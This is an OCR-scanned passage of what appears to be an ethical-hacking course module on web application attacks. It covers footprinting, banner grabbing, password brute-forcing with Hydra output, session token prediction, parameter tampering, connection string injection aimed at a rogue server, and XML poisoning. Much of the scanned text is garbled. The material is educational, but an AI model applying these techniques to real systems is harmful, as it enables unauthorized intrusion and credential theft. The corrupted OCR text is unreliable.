operator="Microsoft Corporation” truncated="false™ xmins="urn:uddi-org:api_v2"=<servicelnfos=<servicelnfo
serviceKey=6ad412cl-2b7c-5abc-c5aa-5ccbab9dcB43” businessKey="9112358ad-c12d-1234-ddcd-
cBe3deBalaab”><name xml:lang="en-us">Amazon Research Pane</name><servicelnfo><Servicelnfo
serviceley="25638312-2d33-51f3-5896-c12cab632abc” businessKey="adc5c23-abod-8f52-cd5f-
1253adcefcla™=<name xmbi:lang="en-us">Amazon Web Services 2.0</name:></servicelnfo=<servicelnfo
serviceKey="adBa5cT8-dcBf-4562-d45c-aad45d4562ad "businesskey="28d4acd8-d45c-4563-4562-

acded 567d0f5"<name xmi:kang="en"=Amazon.com Web Services</name>«/servicelnfos<servicelnfo
serviceKey="ad52a456-4d5f-7d5c-8def-c5ebdd56cd 45 " businesskey="45235896-256a-123a-c456-
add55a456f12"><name xmilang="en">AmazonBookPrice</name><servicelnfo=<servicelnfo
serviceKey=9%ccd5ad-45cc-4d5c-1234-888cd4562893" businessKey="3a45238d-cd55-4d 22-8d5d-
a55adcd3ad5c" »<name

xmil:lang="en"=AmazonBookPrice</name=</servicelnfos< [servicelnfos=< /servicelist>«soap:Body=<fsoap:
Envelopes
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Web Services XML Poisoning

Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or XML
schema poisoning in order to generate errors in XML parsing logic and break execution logic

Attackers can manipulate XML external entity references that can lead to arbitrary file or TCP
connection openings and can be exploited for other web service attacks

XML poisoning enables attackers to cause a denial-of-service attack and compromise confidential
information

XML Request Poisoned XML Request

<CustomerRecord> <CustomerRecord>

<CustomerNumber=2010</CustomerNumber= <CustomerMumber>2010</CustomerNumber>
<FirstName=Jason</FirstName><CustomerNumber>

<FirstName=lason</FirstName>
2010</CustomerNumber=

<lastName>Springfield</LastName> , ,
<FirstMame=lason</FirstName=>

<Address>=Apt 20, 3rd Street</Address> <lastName>Springfield</LastName>

<Email>jason@springfield.com</Email> <Address>Apt 20, 3rd Street</Address>
<PhoneNumber>6325896325</PhoneNumber> | !l <Email>jason@springfield.com</Email>

</CustomerRecord> <PhoneMumber=6325896325</PhoneNumber>

</CustomerRecord> I-
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IModule Flow

Web App
Concepts

Web App

H,. VN % Pen

{® VvV N

Testing

‘ .

Web

Application ' Counter-
Hacking measures

Tools
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Web App Hacking Methodology ( EH

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks  Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Footprint Web Infrastructure

J Web infrastructure footprinting is the first step in web application hacking; it helps attackers
to select victims and identify vulnerable web applications

Server Discovery

Discover the physical
servers that hosts
web application

Service Discovery

Discover the services running on web
servers that can be exploited as
attack paths for web app hacking

Hidden
Content Discovery

Extract content and
functionality that is not
directly linked or reachable

Garvar fdon st ok from the main visible content

Grab server banners to

identify the make and e

version of the web © -

server software Q
b
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HaCkRhIn0-TeaM MIEREEE SO I HaCkRhInO-TeaM

Footprint Web Infrastructure: clEn

Server Discovery

M Server discovery gives information about the location of servers and ensures that the
target server is alive on Internet
Whois lookup utility gives information about the IP address of web server and
DN5 names
Whois Lockup Tools:

&  http://www.tamos.com @ hitp://www.whois.net

&  http://searchdns.netcraft.com ®  http://www.dnsstuff com

DNS Interrogation provides information about the location and type of servers

DNS Interrogation Tools:

8  http:/fwww.dnsstuff.com @ http://www.webmaster-toolkit.com
& http://network-tools.com @  http://www.domaintools.com

Port Scanning attempts to connect to a particular set of TCP or UDP ports to find out
the service that exists on the server

Port Scanning Tools:

g Nmap € Advanced Port Scanner m

& NetScan Tools Pro ® Hping
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Footprint Web Infrastructure:

CEH

Service Discovery ol st

'gn' me grﬂ‘t weg server to Fﬁen%ﬁ common Port

ports that web servers use for different services

Typical HTTP Services
80 World Wide Web standard port
g1 Alternate WWW

BB Kerberos

1. Nmap 2. NetScanTools Pro 3. Sandcat Browser SsL (https)

IEM Websphere administration client
Compaqg Insight Manager
Compaq Insight Manager over SS1

Microsoft Application Center Remota
mana Eel'l‘IE'I'IT.

BEA Weblogic
e S e e BEA Weblogic over SSL
I
~T4-A v —PE P52 Profile

| Sun Java Web Server over 55L
| Command:  Mmap =Td =& v -PE =P522, ) =PAZ1, 23,80, 3389 google.com
! Alternate Web server, or Web cache
Hosts Services Nmap Output Ports / Hosts ||:||:|E|Dg'_|r Host Details | Scans
R D A R A e A TUEaE Alternate Web server or management
| 05 4 Host Port 4 Protocol 4 State 4 Service Versicn ) ]

® google.com (7412 @ &8 tep open  hitp | Apache Tomcat

tc cpen  hitps .
- " i o Sun Java Web Server admin module

Filter Hosts http://nmap.org MNetscape Administrator interface
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Footprint Web Infrastructure: Sexver
Identification/Banner Grabbing

€ Analyze the server response header field to Run command s_client -host <target
identify the make, model and version of the website> -port 443

web server software Type GET/HTTP/1 .0 to get the server
Syntax: C:\telnet Website URL or information
IP address BO

Command Prompt _ O3 0penSSL-Win32\ binkapensslexe

i i Ei 4 SR T TR Y,

Server identified
as Microsoft

eulz.wm ; . itk ¥ e HTTPAPI

atdielnet 1¥3.160.09.2 4

- # Famina el e

Server
el identified as
i Microsoft IIS

Banner Grabbing Tools

1. Telnet 2. MNetcat 3. ID Serve 4. MNetcraft
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Detecting Web App Firewalls
and Proxies on Target Site

Detecting Proxies Detecting Web App Firewall

J Determine whether your target site is routing Web Application Firewall (WAF) prevents web
your requests through a proxy servers application attack by analyzing HTTP traffic

Determine whether your target site is running

Proxy servers generally add certain headers _ 5 ey
web app firewall in front of an web application

in the response header field
Check the cookies response of your request

Use TRACE method of HTTP/1.1 to identify because most of the WAFs add their own cookie
the changes the proxy server made to the in the response

-t -
reques Use WAF detection tools such as WAFWOOF to

find which WAF is running in front of application
"Wia:" ,"X-Forwarded-For:" ,"Proxy-Connection:"
TRACE / HTTE/1.1
Host: www.test.com
HTTEf1.1 300 OK
Server: Microsoft-IIS/7.0
| Date: Wed, 01 Jan 2014 15:25:15 GMT
Content-length: 40
TRACE / HTTP/1.1
Host: www.test.com

Via: 1.1 1%2.168.11.15
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Footprint Web Infrastructure: Hidden
Content Discovery

o Discover the hidden content and functionality that is not reachable from the main
visible content to exploit user privileges within the application

o It allows an attacker to recover backup copies of live files, configuration files and log
files containing sensitive data, backup archives containing snapshots of files within the
web root, new functionality which is not linked to the main application, etc.

Web Spidering

2 Web spiders automatically
discover the hidden content
and functionality by parsing
HTML form and client-side
JavaScript requests and
responses

Web Spidering Tools:
OWASP Zed Attack Proxy
Burp Suite
WebScarab

Attacker-Directed
Spidering

Attacker accesses all of the
application’s functionality and
uses an intercepting proxy to
monitor all requests and
responses

The intercepting proxy parses all
of the application’s responses
and reports the content and
functionality it discovers

Tool: OWASP Zed Attack Proxy
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Brute-Forcing

& Use automation tools such as

Burp Suite to make huge
numbers of requests to the web
server in order to guess the
names or identifiers of hidden
content and functionality




Web Spidering Using Burp Suite

Configure your web browser to use Burp as a local proxy

Access the entire target application visiting every single
link/URL possible, and submit all the application forms
available

Browse the target application with JavaScript enabled
and disabled, and with cookies enabled and disabled

Bu'pr Suite Frea Editlon w16

Bulp ks Fegemir YWndesw Hep

Target

[(Spanan | scaner | inucer | Rapssar | Ssquancer | Decossr | comparer | Exsncar [ cpros s |

| ] .nm | Dgions |

e hess webings o momnor 30 coningl Bump Spicer. To begin spodening, oowss o e egel applicaiion, Ben nghcics o o
mole nades in B langet she meap, and chacse “Spider fis hesi | andh™

Spidet i unaieg Cleal puoss

A=gussty made: | 343
s haasimes | 565,61
Regueils e

Foifd Uil &

p| Lt sl eciepe [defned in Tergen lan
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Check the site map generated by the
Burp proxy, and identify any hidden
application content or functions

Continue these steps recursively until
no further content or functionality is
identified

Burg Suite Free Edition v1.6
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httpstiuwww portowigger.not
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Web Crawling Using Mozenda
Web Agent Builder

{miazends WWebAgenL (not savea] - Masends Web Agent Bullider
E Mﬂzenda WE‘h fle D [Ea Test Agent é- —} Bt v, bt by coma R e amaung = = 3 i« Clas = = T = =00HT = i' o O
i New Action Ehare this Prodoct
'ﬁ‘ge nt BUIIder l.IsE:';I':E:-:f: bebow fo perform actions dn the page i] I : '-*‘-?.-.F‘
crawls through T P aRran
a website and B capture test ar sage

St tr SaEr CRgoss SO Order.  Data Nawest
harvests pages g g
| Create a list of Rems m

of information i
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Web App Hacking Methodology ( EH

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks  Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Hacking Web Servers

After identifying the web server Tools used
environment, scan the server for
known vulnerabilities using any web

i UriScan
server vulnerability scanner

Launch web server attack

to exploit identified vulnerabhilities
Nessus

Acunetix Web Vulnerability

Launch Denial-of-Service (DoS)

against web server Weblnspect

Mote: For complete coverage of web server hacking techniques refer to Module 11: Hacking Webservers
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Web Server Hacking Tool:
WeblInspect

00000

- ——— =]
e » pen AP Rapets
j fem - O - o g r Marage

[

L U N e

J Weblnspect identifies
security vulnerabilities
in the web applications

It runs interactive scans
using a sophisticated
user interface

Attacker can exploit :
identified vulnerabilities e

to carry out web ot e || T e e o
services attacks e | B e ] - S

T BT BT T e D

T VU | i Eveation | [T Beet Practions | | fcan Log | Serenr Informaton

http://welcome.hp.com
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Web App Hacking Methodology ( EH

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks  Web App Client

:
|

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Analyze Web Applications

Analyze the active application’s functionality and technologies in order to identify the
attack surfaces that it exposes

Identify Entry Points
for User Input

Review the generated HTTP request to identify the user input
entry points

Ildentify Server-Side
Functionality

Observe the applications revealed to the client to identify the
server-side structure and functionality

Ildentify Server-Side
Technologies

Fingerprint the technologies active on the server using various
fingerprint techniques such as HTTP fingerprinting

Map the Attack
Surface

Identify the various attack surfaces uncovered by the applications
and the vulnerabilities that are associated with each one
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Analyze Web Applications:
Identify Entry Points for User Input

Examine URL, HTTP Header, query string parameters, POST data, and cookies to
determine all user input fields

Identify HTTP header parameters that can be processed by the application as user
inputs such as User-Agent, Referer, Accept, Accept-Language, and Host headers

Determine URL encoding techniques and other encryption measures implemented
to secure the web traffic such as SSL

| " Tools used: .
. _R;E.l.q.,-é.g: bwwh=

@ Burp Suite ® WebScarab

@ HttPrint ® OWASP Zed Attack Proxy
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Analyze Web Applications: Identify
Server-Side Technologies

OO + T S > WL - R 1 S

Perform a detailed server Examine URLs for file Examine the Examine session tokens:

fingerprinting, analyze extensions, directories, error page messages

HTTP headers and HTML and other identification .

source code to identify information & ASPSESSIONID ~ IS

server side technologies PETET
ASP.NET_Sessionid -
ASP.NET

PHPSESSID - PHP

© ISESSIONID - Java

Input File
!E.UJ:ec:'f\Drdfnop'.Te;J,m

Sgnatae Fie
||; Wlzmer O\Dsk g pond_wan2_ 301 \hipord_ 0 wardPaone 8 |

¥ .. ’ |‘;:_. a - _r.. " 4 | 1% -.
e : W
3 e e A =
Ay % j';} http:/ ferwnar juggyboy. comfermor.aspx
[JHest TP I _

'm = i 5

Wicroeoft-11574.0

ATICADCSERCERS2 PRI C O 581 1 COT S 05 0C 502 SSaDF1 BD0 42 P 6E4 BBR T 1TSS
0076455581 1CI0CS 242 [ 0BACCDF7 1071 1DDCT D78 3967 21 EBL1CSDC581 LCSDCE i . 2oL
E2CEGD2PEICERSZ IE2CERY 23811 CODCEEICER 27257675 9EICERT 2681 LOSTICE server Error in 'fReportServer’ Application.
E2CEGS 2 PEICES 7B 811 CODCSEICES 92 IE2CES Y3 36ENIC FIEEEDICT IEFICRE 223 = : ;
EoCTEd I FCOrT JE AT 3FE TOEICEE 45 PEACEE 200 Could not find the permission set named "A5F Net'.

& Ty TR T Description: &n unhanded exception occurred during the

Hetscape-Entarprise s 0 82 12 &0 execution of the current web request. Please review the stack

Hicrosolt-115-5.1 %5 10 ‘_31"5 - trace for more information about the error and where it
Nicrosof t-115-% .0 &SP NET: 753 10.91 = originated in the code.

Repoit File

Lo e s — T e
Cl a5 Dishcbogintiprint_wndd 3300 Whigprind_ 307 e 30 hitp | =i ] 2 = - x =
[- .ui.! ™ cow J —J —r—t [U‘ersu:-n Information: Microsoft _Net Framewark ersion ]

4.0.30319; ASP_Net Version 4.0.30319.1

]int,.-r...l buis b o lebed i

hitp.//net-square.com
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Analyze Web Applications: Identify
Server-Side Functionality

Examine page source and URLs and make an educated guess
to determine the internal structure and functionality of web
applications

I‘*1)_ l http://www.gnu.org
& f : LGN Al http://www. tenmax. com

I;-:':;- i http://softbytelabs. com

Examine URL

ASPX Platform
A

https: //www. juggyboy.com/customers . aspx?name=existing%20clients&isActive=
O&startDate=20%2F11%2F20108endDate=20%2F05%2F2011sshowBy=name

v :
------a--u--}- Database C,Dlumn {-----a------;---u------------uu‘.
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Analyze Web Applications: Map
the Attack Surface

Information

Client-Side Validation

Database Interaction

File Upload and
Download

Display of
User-Supplied Data

Dynamic Redirects

Login

Session State

Attack

Injection Attack,
Authentication Attack

50L Injection, Data
Leakage

Directory Traversal

Cross-Site Scripting

Redirection, Header
Injection

Username Enumeration,

Password Brute-Force

Session Hijacking,
Session Fixation

Information

Injection Attack

Cleartext
Communication

Error Message

Email Interaction

Application Codes

Third-Party
Application

Web Server Software

Attack

Privilege Escalation,
Access Controls

Data Theft, Session
Hijacking

Information Leakage

Email Injection

Buffer Overflows

Known Vulnerabilities
Exploitation

Known Vulnerabilities
Exploitation
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Web App Hacking Methodology ( EH

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks  Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Attack Authentication Mechanism CEH

Cortiffed § Evhlesl Hacher

Attackers can exploit design and implementation flaws in web applications, such as failure
to check password strength or insecure transportation of credentials, to bypass
authentication mechanisms

Session Attacks

& Session prediction

User Name Enumeration A TS ® Session brute-forcing

: T & Session poisoning
2 Verbose failure messages \g_ ¥ -

Predictable user names
Password Attacks

Password functionality

Cookie Exploitation exploits

= i Password guessing
2 Cookie poisoning

Cookie sniffing

Brute-force attack

2 Cookie replay
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User Name Enumeration

= If login error states which part of the user name and password is not correct, guess the users of
the application using the trial-and-error method

B WepnPors
[ﬁ‘;} WORDPRESS.COM @J‘J WORDFRESS.COM

ERROR: Imvalid amall or saarnames Lost ol & p T
e : ) e Erna s Finimanthows 5 incemect | osl il

ERROR: The paeawir Fou eniered b D emad ar
F55 w017

rini.matthews rinimatthews

Lot WO g of

Uiser nurne rivd. oacihiews does not exist User nume successfully enumeraced wo rinfmoacchews

https://wordpress.com
=~ Some applications automatically generate account user names based on a sequence (such as user101,

userl02, etc.), and attackers can determine the sequence and enumerate valid user names

Mote: User name enumeration from verbose error messages will tail it the application implements account lockout policy i.e.,
locks account after a certain number of failed login attempts
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Password Attacks: Password
Functionality Exploits

Determine password change functionality within the application by spidering the application

or creating a login account
Try random strings for ‘Old Password’, ‘New Password’, and ‘Confirm the New Password’ fields

and analyze errors to identify vulnerabilities in password change functionality

Forgot Password’ features generally present a challenge to the user; if the number of attempts is not
limited, attacker can guess the challenge answer successfully with the help of social engineering

Applications may also send a unique recovery URL or existing password to an email address

specified by the attacker if the challenge is solved

“Remember Me" functions are implemented using a simple persistent cookie, such as
RememberUser=jason or a persistent session identifier such as RememberUser=ABY112010

Attackers can use an enumerated user name or predict the session identifier to bypass

authentication mechanisms

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




Password Attacks: Password
Guessing

Password List

Attackers create a list of
possible passwords using most
commonly used passwords,

dictionary

footprinting target and social
engineering techniques, and
try each password until the
correct password is discovered

(/[
# uil I

Targal Passwords !Tunlrn | Spacilic I Startl
Usemame

& Usornarme ||ua.|usur

7 Usemamea List |

Fassword

" Password |

{+ Password List l-tmp passiisi.ixi

Colon separated file

[~ Use Colon seperal ed (e

' Try login as password = .'fql amply passuuﬂ-:

jyeira 127.0,0.1 fip 4 testuser - Amp/passiist. ixt & ns
I T

Password Dictionary
Attackers can create a

of all possible passwords
using tools such as
Dictionary Maker

to perform dictionary attacks etc.

Tools

Password guessing can be
performed manually or
using automated tools such
as WebCracker, Brutus,
Burp Insider, THC-Hydra,

F_-:AJL:E;E '
ol Qi

Target | Passwonds |Tunlng | spectic start |

Oulpun

Hydra vd.1 (c) 2004 by van Hauser / THC - use allowed only for legal purposes
Hydra (g /Awawse the., ong) starting at 2004-05-17 21: 58 52

[DATA] 32 tasks, 1 servers, 45380 login 1nes (11/p:45380), ~1418 tries par lask
[DATA] attacking service fp on pot 21

[STATLUS] 140556 00 tries/min, 14056 tres in 00:01h, 31324 todo in 00:03R
[ETATLUS] 14513.00 thes/min, 20026 fhes in 00:02, 16354 todo in 00:02h
[21)[fp] host: 127.0.0.1 login: marc password: success

Hydra [hipe/fwawe the. ong) Tinished at 2004-05-17 22 01:34

=finished=

http://www.thc.org

T | Cagar Output
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Password Attacks: Brute-forcing

® In brute-forcing attacks, attackers crack the log-in passwords by trying all possible values from a set
of alphabets, numeric, and special characters

® Attackers can use password cracking tools such as Burp Suite, Brutus, and SensePost Crowbar

Burb mtnaces Repeate, Windew 1 o — File Took Hle' )
— TEbs Vi -
J.._h"q” Frnr, Bpider

—'.—-—‘_—_;—L._.—_—E.“_""‘_"J I-r;hwar_

Twget 27007 ———
L1 - lges]

Hepoates Saguany
J ol | Dus G E -
—-—;—-:|=|_.!_.'=|4_ :E%?m-. Conneciion Ot

|Taﬂ:|lT Positians Pagloads r_.‘w:;“ __="'=—T-—~—;—-_—-..=_==I Pt |—Eq;|_

. ’ — —

: ] | 10 I UsePuoy gy

? HTTP [Basic] Dptions ===
Yioia e el Grie o MR Rarau 1S THE PRMOE of sl 80 g8 pante o e et typss ey Methad [HEE

Fe Fosilions t20. Vanous paroad trpes sie svailatis iod sa pdvkead pel and each pares
ousitomized in difeten! ways

3 hpa c=n DR

Autheantication Optioes

¥ Use Useiname [ r Pz Meds [Word Lt =)

Payload sed 1 Favioad coumt. 1 GTREM

L]
Pajload typn. | Bruie forcer L Roguitt counk 3. 958 083 e Sl —e
I = Uger File |uners.bd Baguer -J Pass Pl freondh. il Bromss

st alions: B ]
spelile 5 that onkar F panme i ons B aspet
L srates payicads of specked longh
Thig payload type G20 Tl

characier Sel

| 123485783
Chargcies sl scdalghydmnied shrwiTl

udin et 4

i

KEaz lgnglh
- _4 —— _________._--ﬂ—t'

I — -. S e — 'E.r-re
= hetD: / mm-tsmgger.net S http, rrrwww_hgng
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Session Attacks: Session ID
Prediction/Brute-Forcing

In the first step, the attacker collects some valid session ID values by sniffing traffic from
authenticated users

Attackers then analyze captured session IDs to determine the session ID generation process such
as the structure of session 1D, the information that is used to create it, and the encryption or hash
algorithm used by the application to protect it

Vulnerable session generation mechanisms that use session IDs composed by user name or other
predictable information, like timestamp or client IP address, can be exploited by easily guessing
valid session IDs

In addition, the attacker can implement a brute force technique to generate and test different
values of session ID until he successfully gets access to the application

GET http://ianaina:B180/WebGoat//attack?Screen-17 & menu=410 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04
GET REE{ uest Accept: text/uml, application/xml, application/xhtml+xml,text/htmtl;q-0.9,text/plain;q=0.8,image /png,* /*,q=0.5

Referer: http://fianaina: 8180,/ WebGoat/attack?Screen=17&menu=410 Predictable Session Cookie
Cookie: 1SESSIONID=user(1

Authorization: Basic Z3Vic30Q6Z3VIic3O
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Cookie Exploitation: Cookie
Poisoning

J If the cookie contains
passwords or session
identifiers, attackers can
steal the cookie using
techniques such as
script injection and
eavesdropping

Attackers then replay
the cookie with the
same or altered
passwords or session
identifiers to bypass
web application
authentication

I Eie Edit |

W

| Standard mode (%) | | ba i 9 A

e

N [ stes] | Scripts |

fiew Analyse Reporl Teols Onling Help

= = |I¢ b v}wiﬂ b

_. Cuick Starl =% Requast

Sdes -

e fikpiaaw jugayboy com
4 M Downloads
™ Cool_Stul
o W GETndex himi
i om GET:imdax mrmil
Fo ® Happiness
FU ® Presentations
¥ books
FU ™ togls
o ¥ GETindexhimi
H o Games
Y Juggyboyiotes
o Kaima v

Scripl Con uo.lu

= Rasponse ] ,:-:Bw;i: ]

| Header. Taxl ‘F.| | Body. Text ()

HTTP 1.1 209 0K

Date: wed, 28 Mov 20138 @7:14:168 OMT

Content-Length: 8662

Content-Type: textihtml

Content-Location: Rttp:/ e, jug,ayha':,: .com/index.htal
Last-Modifled: Mon, 11 Now I813 13:47:17 GMT

[if IE 7 Jachtml Lang="en"
[if IE & Jichiml Long="en™ claoss
IE @ Jachiml Long=-"en” class
f (gt IE )|} (IE)]»<l--2cheml 1
ile=gifEndif]--

1 ]

W Fuzzer | o | Pararms ] “ Hilp Sessions
Hislory | S Search | 3 Break Points

| site: | wwwjuggrboy.comBo ¥/ |

Processed Methed LR
Lo GET it Perarw uggyboy. com

_ ZestResults | ¥ WebSockets | M AJAXSpider | | Output
Fu garta # Actve Scan 2 Forced Browsa
| Cument Scans; 1 | URJs Found: 1603

Flags
SEED

Attackers can trap GET_____ hit v bgipyboy con

> T QET hitpthe s juggyboy. comiing e tmi
cookies using tools such ® o i v hggyboy. condabout_rendex hird
|- GET hitec e juggyboy comdsain feidimdex Himi
as OWASP Zed Attack

| Fieils Mo FEg 2 Mg CumentScans M 0 #61 0 80 @o %"?IE'-
Proxy, Burp Suite, etc.

———

hitpsfwww.owasp.org
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Web App Hacking Methodology ( EH

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks  Web App Client

Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services
Mechanism Mechanism
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Authorization Attack

4 Attackers manipulate the HTTP requests to subvert the application authorization
schemes by modifying input fields that relate to user ID, user name, access group,
cost, filenames, file identifiers, etc.

o Attackers first access web application using low privileged account and then
escalate privileges to access protected resources

i I Uniform Resource Identifier Parameter Tampering

POST Data HTTP Headers

.m Query String and Cookies Hidden Tags

HaCkRhInO-TeaM

CEH

Cortiffed § Evhlesl Hacher
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HTTP Request Tampering

1 If the query string is visible in the address bar on the browser, the attacker can easily
change the string parameter to bypass authorization mechanisms

Query

String
Tam P erin [+ ] http: //www. juggyboy.com/mail . aspx?mailbox=john&company—acme%20com
https://juggyshop.com/books/download/852741369.pdf
https://juggybank.com/login/home. jsp?admin=true

E_ | Attackers can use web spidering tools such as Burp Suite to scan the web app for POST
“ parameters

) If the application uses the Referer header for making access control decisions, attackers can

HTTP modify it to access protected application functionalities

Headers GET http://juggyboy:8180/Applications/Download?TtemID = 201 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 (Window; U; Windows NHT 5.2; en-US; rv:1.8.1.4) Gecko/20070515
Firefox/2.0.04
Accept: text/xml, application/xml, application/xhitml+xml, text /himt] rq-
0.9, text/plain;g=0.8, image/png, */* g=0.5
Proxy-Connection: keep-alive
Referer: hitp://juggyboy:B180/Applications/Download?Admin = False

4 ItemlD = 201 |s not accesslble as Admin parameter Is set to false, attacker can change It to true and
access protected items
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Authorization Attack: Cookie
Parameter Tampering

In the first step, the attacker collects some cookies set by the web application and
analyzes them to determine the cookie generation mechanism

The attacker then traps cookies set by the web application, tampers with its parameters
using tools, such as OWASP Zed Attack Proxy, and replay to the application
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Web App Hacking Methodology ( EH
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Session Management Attack

Attackers break an application’s session management
mechanism to bypass the authentication controls and
impersonate privileged application users

Session Token Generation

1. Session Tokens Prediction

2. Session Tokens Tampering

Session Tokens Handling
1. Man-In-The-Middle Attack 2. Session Replay

3. Session Hijacking
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Attacking Session Token
Generation Mechanism

Weak Encoding Example

https://www. juggyboy.com/checkout?
SessionToken=%75%73%65%72%3D%6A%61%73%6F%6EF3B%61%T0%T70%3D%61
564%6D%69%6ESIB%64%61%74%65%3D%32%33%2F%31%31%2F%32%30%31%30
When hex-encoding of an ASCII string user=jason;app=admin;date=23/11/2010,
the attacker can predict another session token by just changing date and use it

for another transaction with server

Session Token Prediction

Attackers obtain valid session tokens by sniffing the traffic or legitimately logging into
application and analyzing it for encoding (hex-encoding, Base64) or any pattern

If any meaning can be reverse engineered from the sample of session tokens, attackers
attempt to guess the tokens recently issued to other application users

Attackers then make a large number of requests with the predicted tokens to a session-
dependent page to determine a valid session token
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Attacking Session Tokens Handling
Mechanism.: Session Token Sniffing

J  Attackers sniff the
application traffic using a
sniffing tool such as
Wireshark or an
intercepting proxy such as
Burp. If HTTP cookies are
being used as the
transmission mechanism
for session tokens and the
secure flag is not set,
attackers can replay the
cookie to gain
unauthorized access to
application

Attacker can use session
cookies to perform
session hijacking, session
replay, and Man-in-the-
Middle attacks
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Injection Attacks/Input
Validation Attacks

CEH

Lwniified § Dikdnal ool

In injection attacks, attackers supply crafted malicious input that is syntactically correct according to the
interpreted language being used in order to break application’s normal intended

Web Scripts Injection

If user input is used into dynamically executed code,
enter crafted input that breaks the intended data
context and executes commands on the server

0S Commands Injection

Exploit operating systems by entering malicious
codes in input fields if applications utilize user input
in a system-level command

SMTP Injection

Inject arbitrary STMP commands into application
and SMTP server conversation to generate large
volumes of spam email

SQL Injection
Enter a series of malicious SQOL queries into input
fields to directly manipulate the database

LDAP Injection

Take advantage of non-validated web application
input vulnerabilities to pass LDAP filters to obtain
direct access to databases

XPath Injection

Enter malicious strings in input fields in order to
manipulate the XPath query so that it interferes with
the application’s logic

Buffer Overflow

Injects large amount of bogus data beyond the
capacity of the input field

Canonicalization

Manipulate variables that reference files with “dot-
dot-slash {../)" to access restricted directories in the
application

Note: For complete coverage of SOL Injection concepts and technigues refer to Module 13: SQL Injection
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. Attack Data Connectivity M
T ——

Database connection strings are used to connect applications to database
engines

Example of a common connection string used to connect to a Microsoft SQL
Server database

“Data Source=Server, Port; Network Library=DBMSSOCN; Initial
Catalog=DataBase; User ID=Username; Password=pwd;"

Database connectivity attacks exploit the way applications connect to the
database instead of abusing database queries

Data Connectivity Attacks: Connection String Injection, Connection String
Parameter Pollution (CSPP) Attacks, and Connection Pool DoS

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




Connection String Injection

2 In a delegated authentication environment, the attacker injects parameters
in a connection string by appending them with the semicolon (;) character

J A connection string injection attack can occur when a dynamic string
concatenation is used to build connection strings based on user input

Before Injection

“"Data Source=Server,Port; Network Library=DBMSSOCH; Initial Catalog=DataBase;

User ID=Username; Password=pwd;"”

After Injection

“Data Source=Server,Port; Network Library=DBEMSSOCH; Initial Catalog=DataBase;
User ID=Username; Password=pwd; Encryption=off”

When the connection string is populated, the Encryption value will be added to the previously
configured set of parameters
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Connection String Parameter
Pollution (CSPP) Attacks

In CSPP attacks, attackers overwrite parameter values in the connection string

Hash Stealing Port Scanning Hg:::;'ﬁi::;h

2 Attacker replaces the value of
Data Source parameter with
that of a Rogue Microsoft SQL
Server connected to the
Internet running a sniffer

Data source = SQLZ2005;
initial catalog = dbl;
integrated security=no;
user id=;Data
Source=Rogue Server;
Password=; Integrated
Security=true;

Attacker will then sniff Windows

credentials {password hashes) when

the application tries to connect to
Rogue Server with the Windows
credentials it's running on

Attacker tries to connect to
different parts by changing
the value and seeing the
error messages obtained

Data source = SQLZ005;
initial catalog = dbl;
integrated security=no;
user id=:;Data
Source=Target Server,
Target Port—=443;
Password=; Integrated
Security—true;

—_—
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Attacker tries to connect to
the database by using the
Web Application System
account instead of a user-
provided set of credentials

Data source = SQLZ2005;
initial catalog = dbl;
integrated security=no;
user id=;Data
Source=Target Serwver,
Target Port; Password=;
Integrated
Security=true;




Connection Pool DoS

Attacker examines the connection pooling settings of the application,
constructs a large malicious SQL query, and runs multiple queries
simultaneously to consume all connections in the connection pool,
causing database queries to fail for legitimate users

Example:

By default in ASP.NET, the maximum allowed connections in the
pool is 100 and timeout is 30 seconds

Thus, an attacker can run 100 multiple queries with 30+ seconds
execution time within 30 seconds to cause a connection pool DoS
such that no one else would be able to use the database-related
parts of the application
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Attack Web App Client

Attackers interact with the server-side applications in unexpected ways in order to
perform malicious actions against the end users and access unauthorized data

Cross-Site Scripting
HTTP Header Injection - ‘Frame Injection
Request Forgery Attack ", ® | Session Fixation

Privacy Attacks - ActiveX Attacks
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Attack Web Services

J  Web services work atop the legacy web applications, and any attack on web service will immediately
expose an underlying application’s business and logic vulnerabilities for various attacks

Database System

EETTTERT =

] Application Management
Attacker Web Service = Server

Client —
> [

Database Identity Management Server

Information Leakage,
Application Logic
Attacks

SOAP Injection, WSDL Probing
XML Injection Attacks

Database Attacks,

Web Services DoS Attacks
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Web Services Probing Attacks

In the first step, the attacker traps the WSDL document from web service traffic and analyzes it to
determine the purpose of the application, functional break down, entry points, and message types

Attacker then creates a set of valid requests by selecting a set of operations, and formulating the request
messages according to the rules of the XML Schema that can be submitted to the web service

Attacker uses these requests to include malicious contents in SOAP requests and analyzes errors to gain a
deeper understanding of potential security weaknesses

..... i }
Attacker inject

arbitrary character
(‘) in the input field

=Pyl version="1.0- encoding="U TF-8' standalona= "

no' =

- SOAP-ENY: Envelope [ milns:

SOAPSDEL="http:/ fwwn wi.org 2001/

EMLschema’

wmins: SOAPSDE2="http ://www w3 arg/200

IfEMLSchem.o- inst.once™

umins: SOAPSDEI="http://schemas xmiso.op

Jorgfsoapd encoding xmins; SOAPENV=

